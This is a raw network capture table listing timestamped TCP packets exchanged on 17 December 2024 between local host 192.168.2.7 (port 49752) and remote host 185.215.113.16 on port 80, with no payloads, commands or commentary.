Dec 17, 2024 10:23:24.484127045 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.492403030 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.492458105 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.492562056 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.500808001 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.500880957 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.500932932 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.509196043 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.509294987 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.509346008 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.517644882 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.517760038 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.517806053 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.526072025 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.526143074 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.526201963 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.534581900 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.534596920 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.534650087 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.542999029 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.543037891 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.543101072 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.551398039 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.551471949 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.551537991 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.559736967 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.559803009 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.559858084 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.671817064 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.671835899 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.671937943 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.673264027 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.673882008 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.673942089 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.678520918 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.678674936 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.678725004 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.683640957 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.683659077 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.683708906 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.688469887 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.688489914 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.689338923 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.693409920 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.693427086 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.693479061 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.698261023 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.698276997 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.698327065 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.703355074 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.703371048 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.703419924 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.707899094 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.707916021 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.707969904 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.712764025 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.713061094 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.713109970 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.717437983 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.718329906 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.718377113 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.722409010 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.722434998 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.722507000 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.727220058 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.727238894 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.727288961 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.732021093 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.732078075 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.732144117 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.737061024 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.737098932 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.737163067 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.741672993 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.742127895 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.742186069 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.746471882 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.746596098 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.746669054 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.751390934 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.751426935 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.751509905 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.756270885 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.756315947 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.756390095 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.760986090 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.761101961 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.761157990 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.791874886 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.836858034 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.864140034 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.864166975 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.864320040 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.866180897 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.866204023 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.866300106 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.870060921 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.870100975 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.870165110 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.873975992 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.873999119 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.874047995 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.877927065 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.878468990 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.878529072 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.881910086 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.881932974 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.881994009 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.885636091 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.885658026 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.885711908 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.889241934 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.889262915 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.889318943 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.892741919 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.892760038 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.892833948 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.896316051 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.896334887 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.896394968 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.899736881 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.900837898 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.900926113 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.903326035 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.903345108 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.903434992 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.906785965 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.906900883 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.906960964 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.910264969 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.910326958 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.910376072 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.913901091 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.913922071 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.914002895 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.917290926 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.917795897 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.917860031 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.920990944 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.921447039 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.921500921 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.924371958 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.924475908 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.924530983 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.928118944 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.928137064 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.928189039 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.931384087 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.931659937 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.931720972 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.934982061 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.934998989 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.935046911 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.938426018 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.938705921 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.938760042 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.942085981 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.942179918 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.942238092 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.945513964 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.945549965 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.945596933 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.949140072 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.949162960 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.949227095 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.952580929 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.952598095 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.952649117 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.956027985 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.956150055 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.956485033 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.959583044 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.959806919 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.959856987 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.963059902 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.963201046 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.963251114 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.966686010 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.966798067 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.966850042 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.970108986 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.970155001 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.970206976 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.972908020 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.973138094 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.973185062 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.056142092 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.056178093 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.056320906 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.057486057 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.057605982 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.057684898 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.060734034 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.061395884 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.061414003 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.061454058 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.064289093 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.064310074 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.064344883 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.067045927 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.067094088 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.067272902 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.069802999 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.069823027 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.069858074 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.072643995 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.072717905 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.072745085 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.075050116 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.075119019 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.075292110 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.077794075 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.077821970 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.077851057 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.080434084 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.080455065 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.080523968 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.082794905 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.082813978 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.082865953 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.085309029 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.085328102 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.085381985 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.087613106 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.087666035 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.087729931 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.090158939 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.090178013 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.090207100 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.092461109 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.092518091 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.092695951 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.094537020 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.094595909 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.094616890 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.096748114 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.096771955 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.096801996 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.098625898 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.098644972 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.098675966 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.100594044 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.100614071 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.100642920 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.102478981 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.102525949 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.102557898 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.104612112 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.104631901 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.104660988 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.106408119 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.106468916 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.106556892 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.108469963 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.108529091 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.108553886 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.110486984 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.110507011 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.110547066 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.112433910 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.112453938 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.112493038 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.114308119 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.114367008 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.114418030 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.116396904 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.116416931 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.116451025 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.118402004 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.118421078 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.118457079 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.120347023 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.120364904 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.120395899 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.122297049 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.122359037 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.122392893 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.124339104 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.124358892 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.124408960 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.126323938 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.126344919 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.126383066 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.128156900 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.128240108 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.128482103 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.130254984 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.130275965 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.130311966 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.132257938 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.132277012 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.132322073 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.134145975 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.134186983 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.134202003 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.136085987 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.136140108 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.136167049 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.138128042 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.138144970 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.138183117 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.140167952 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.140227079 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.140388012 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.142025948 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.142096043 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.142107964 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.144124031 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.144175053 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.144191027 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.146153927 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.146173954 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.146219969 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.148025990 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.148055077 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.148085117 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.150006056 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.150024891 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.150058985 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.151978016 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.152044058 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.152102947 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.154032946 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.154069901 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.154095888 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.155936003 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.155996084 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.156054020 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.157975912 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.158036947 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.158097029 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.159961939 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.160033941 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.160093069 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.161990881 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.161999941 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.162050962 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.164283037 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:25.164351940 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:25.248267889 CET	80	49752	185.215.113.16	192.168.2.7
